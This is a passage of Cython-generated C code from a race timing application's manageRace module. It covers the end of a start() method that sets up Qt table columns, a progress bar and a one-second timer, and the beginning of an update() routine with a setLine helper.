= 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "Chrono/manageRace.py":158 * Globals.MainWindow.R_RaceLive.setHorizontalHeaderItem(t + self._basecol-1, item) * Globals.MainWindow.R_RaceLive.setColumnWidth( t + self._basecol-1, cols["partial"][1]) * self.bestPartial[ t ] = self._duration * 1000 # init best with max time # <<<<<<<<<<<<<< * self.partials = col - self._basecol * Globals.MainWindow.PB_TimeRace.setMaximum( self._duration ) */ __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_duration_2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_3 = PyNumber_Multiply(__pyx_t_10, __pyx_int_1000); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_bestPartial); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); if (unlikely(PyObject_SetItem(__pyx_t_10, __pyx_v_t, __pyx_t_3) < 0)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":151 * r['queue']['race'] = Queue(maxsize=0) * t = decoder[ task ]['preferences']['type'] * if t != 0: # <<<<<<<<<<<<<< * if (t + self._basecol ) > col: * col = t + self._basecol */ } /* "Chrono/manageRace.py":147 * self.maxrows = 0 * col = self._basecol * for task in receiver: # <<<<<<<<<<<<<< * r = receiver[task] * r['queue']['race'] = Queue(maxsize=0) */ } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":159 * Globals.MainWindow.R_RaceLive.setColumnWidth( t + self._basecol-1, cols["partial"][1]) * self.bestPartial[ t ] = self._duration * 1000 # init best with max time * self.partials = col - self._basecol # <<<<<<<<<<<<<< * Globals.MainWindow.PB_TimeRace.setMaximum( self._duration ) * Globals.MainWindow.PB_TimeRace.setProperty("value", 0) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_basecol); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = PyNumber_Subtract(__pyx_v_col, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_partials, __pyx_t_3) < 0) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":160 * self.bestPartial[ t ] = self._duration * 1000 # init best with max time * self.partials = col - self._basecol * Globals.MainWindow.PB_TimeRace.setMaximum( self._duration ) # <<<<<<<<<<<<<< * Globals.MainWindow.PB_TimeRace.setProperty("value", 0) * */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setMaximum); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_duration_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_10))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_10); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_10, function); } } if (!__pyx_t_6) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_10, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_10)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_10, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_10)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_10, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_12 = PyTuple_New(1+1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_12, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_12, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_t_12, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } } __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":161 * self.partials = col - self._basecol * Globals.MainWindow.PB_TimeRace.setMaximum( self._duration ) * Globals.MainWindow.PB_TimeRace.setProperty("value", 0) # <<<<<<<<<<<<<< * * self.private = {} */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_PB_TimeRace); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setProperty); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_tuple__22, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":163 * Globals.MainWindow.PB_TimeRace.setProperty("value", 0) * * self.private = {} # <<<<<<<<<<<<<< * self.timer = QTimer() * self.timer.timeout.connect(self.update) */ __pyx_t_3 = PyDict_New(); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_private, __pyx_t_3) < 0) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":164 * * self.private = {} * self.timer = QTimer() # <<<<<<<<<<<<<< * self.timer.timeout.connect(self.update) * self.timer.start(1000) */ __pyx_t_10 = __Pyx_GetModuleGlobalName(__pyx_n_s_QTimer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_12 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_10))) { __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_10); if (likely(__pyx_t_12)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); __Pyx_INCREF(__pyx_t_12); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_10, function); } } if (__pyx_t_12) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_10, __pyx_t_12); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_10); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 164, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_timer, __pyx_t_3) < 0) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":165 * self.private = {} * self.timer = QTimer() * self.timer.timeout.connect(self.update) # <<<<<<<<<<<<<< * self.timer.start(1000) * */ __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_timer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_timeout); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_connect); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_update); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_10))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_10); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_10, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_10, __pyx_t_12); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_10)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_12}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_10, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_10)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_12}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_10, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_12); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_12); __pyx_t_12 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":166 * self.timer = QTimer() * self.timer.timeout.connect(self.update) * self.timer.start(1000) # <<<<<<<<<<<<<< * * */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_timer); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_start); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_tuple__23, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":124 * * * def start(self): # <<<<<<<<<<<<<< * if self._status != self.cmdWaiting: * return */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_10); __Pyx_XDECREF(__pyx_t_12); __Pyx_AddTraceback("Chrono.manageRace.manageRace.start", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_i); __Pyx_XDECREF(__pyx_v_col); __Pyx_XDECREF(__pyx_v_task); __Pyx_XDECREF(__pyx_v_r); __Pyx_XDECREF(__pyx_v_t); __Pyx_XDECREF(__pyx_v_item); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/manageRace.py":169 * * * def update(self): # <<<<<<<<<<<<<< * def setLine( color, row, column, text, icon = None): * try: */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_9update(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_10manageRace_10manageRace_9update = {"update", (PyCFunction)__pyx_pw_6Chrono_10manageRace_10manageRace_9update, METH_O, 0}; static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_9update(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("update (wrapper)", 0); __pyx_r = __pyx_pf_6Chrono_10manageRace_10manageRace_8update(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/manageRace.py":170 * * def update(self): * def setLine( color, row, column, text, icon = None): # <<<<<<<<<<<<<< * try: * brush = QBrush(color) */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_6update_1setLine(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_10manageRace_10manageRace_6update_1setLine = {"setLine", (PyCFunction)__pyx_pw_6Chrono_10manageRace_10manageRace_6update_1setLine, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_6update_1setLine(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_color = 0; PyObject *__pyx_v_row = 0; PyObject *__pyx_v_column = 0; PyObject *__pyx_v_text = 0; PyObject *__pyx_v_icon = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("setLine (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_color,&__pyx_n_s_row,&__pyx_n_s_column,&__pyx_n_s_text,&__pyx_n_s_icon,0}; PyObject* values[5] = {0,0,0,0,0}; values[4] = ((PyObject *)((PyObject *)Py_None)); if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 5: values[4] = PyTuple_GET_ITEM(__pyx_args, 4); case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_color)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_row)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setLine", 0, 4, 5, 1); __PYX_ERR(0, 170, __pyx_L3_error) } case 2: if (likely((values[2] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_column)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setLine", 0, 4, 5, 2); __PYX_ERR(0, 170, __pyx_L3_error) } case 3: if (likely((values[3] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_text)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setLine", 0, 4, 5, 3); __PYX_ERR(0, 170, __pyx_L3_error) } case 4: if (kw_args > 0) { PyObject* value = PyDict_GetItem(__pyx_kwds, __pyx_n_s_icon); if (value) { values[4] = value; kw_args--; } } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "setLine") < 0)) __PYX_ERR(0, 170, __pyx_L3_error) } } else { switch (PyTuple_GET_SIZE(__pyx_args)) { case 5: values[4] = PyTuple_GET_ITEM(__pyx_args, 4); case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); values[2] = PyTuple_GET_ITEM(__pyx_args, 2); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); values[0] = PyTuple_GET_ITEM(__pyx_args, 0); break; default: goto __pyx_L5_argtuple_error; } } __pyx_v_color = values[0]; __pyx_v_row = values[1]; __pyx_v_column = values[2]; __pyx_v_text = values[3]; __pyx_v_icon = values[4]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("setLine", 0, 4, 5, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 170, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("Chrono.manageRace.manageRace.update.setLine", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_6Chrono_10manageRace_10manageRace_6update_setLine(__pyx_self, __pyx_v_color, __pyx_v_row, __pyx_v_column, __pyx_v_text, __pyx_v_icon); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_10manageRace_10manageRace_6update_setLine(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_color, PyObject *__pyx_v_row, PyObject *__pyx_v_column, PyObject *__pyx_v_text, PyObject *__pyx_v_icon) { PyObject *__pyx_v_brush = NULL; PyObject *__pyx_v_i = NULL; PyObject *__pyx_v_e = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; int __pyx_t_9; int __pyx_t_10; int __pyx_t_11; int __pyx_t_12; char const *__pyx_t_13; PyObject *__pyx_t_14 = NULL; PyObject *__pyx_t_15 = NULL; PyObject *__pyx_t_16 = NULL; PyObject *__pyx_t_17 = NULL; PyObject *__pyx_t_18 = NULL; PyObject *__pyx_t_19 = NULL; __Pyx_RefNannySetupContext("setLine", 0); /* "Chrono/manageRace.py":171 * def update(self): * def setLine( color, row, column, text, icon = None): * try: # <<<<<<<<<<<<<< * brush = QBrush(color) * brush.setStyle(Qt.SolidPattern) */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { /* "Chrono/manageRace.py":172 * def setLine( color, row, column, text, icon = None): * try: * brush = QBrush(color) # <<<<<<<<<<<<<< * brush.setStyle(Qt.SolidPattern) * i = Globals.MainWindow.R_RaceLive.item( row, column ) */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QBrush); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 172, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_color); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 172, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_color}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 172, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_color}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 172, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 172, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_color); __Pyx_GIVEREF(__pyx_v_color); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_v_color); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 172, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_v_brush = __pyx_t_4; __pyx_t_4 = 0; /* "Chrono/manageRace.py":173 * try: * brush = QBrush(color) * brush.setStyle(Qt.SolidPattern) # <<<<<<<<<<<<<< * i = Globals.MainWindow.R_RaceLive.item( row, column ) * if i == None: */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_brush, __pyx_n_s_setStyle); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 173, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_Qt); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 173, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_SolidPattern); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 173, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 173, __pyx_L3_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_6}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 173, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_6}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 173, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_8 = PyTuple_New(1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 173, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_8, 0+1, __pyx_t_6); __pyx_t_6 = 0; 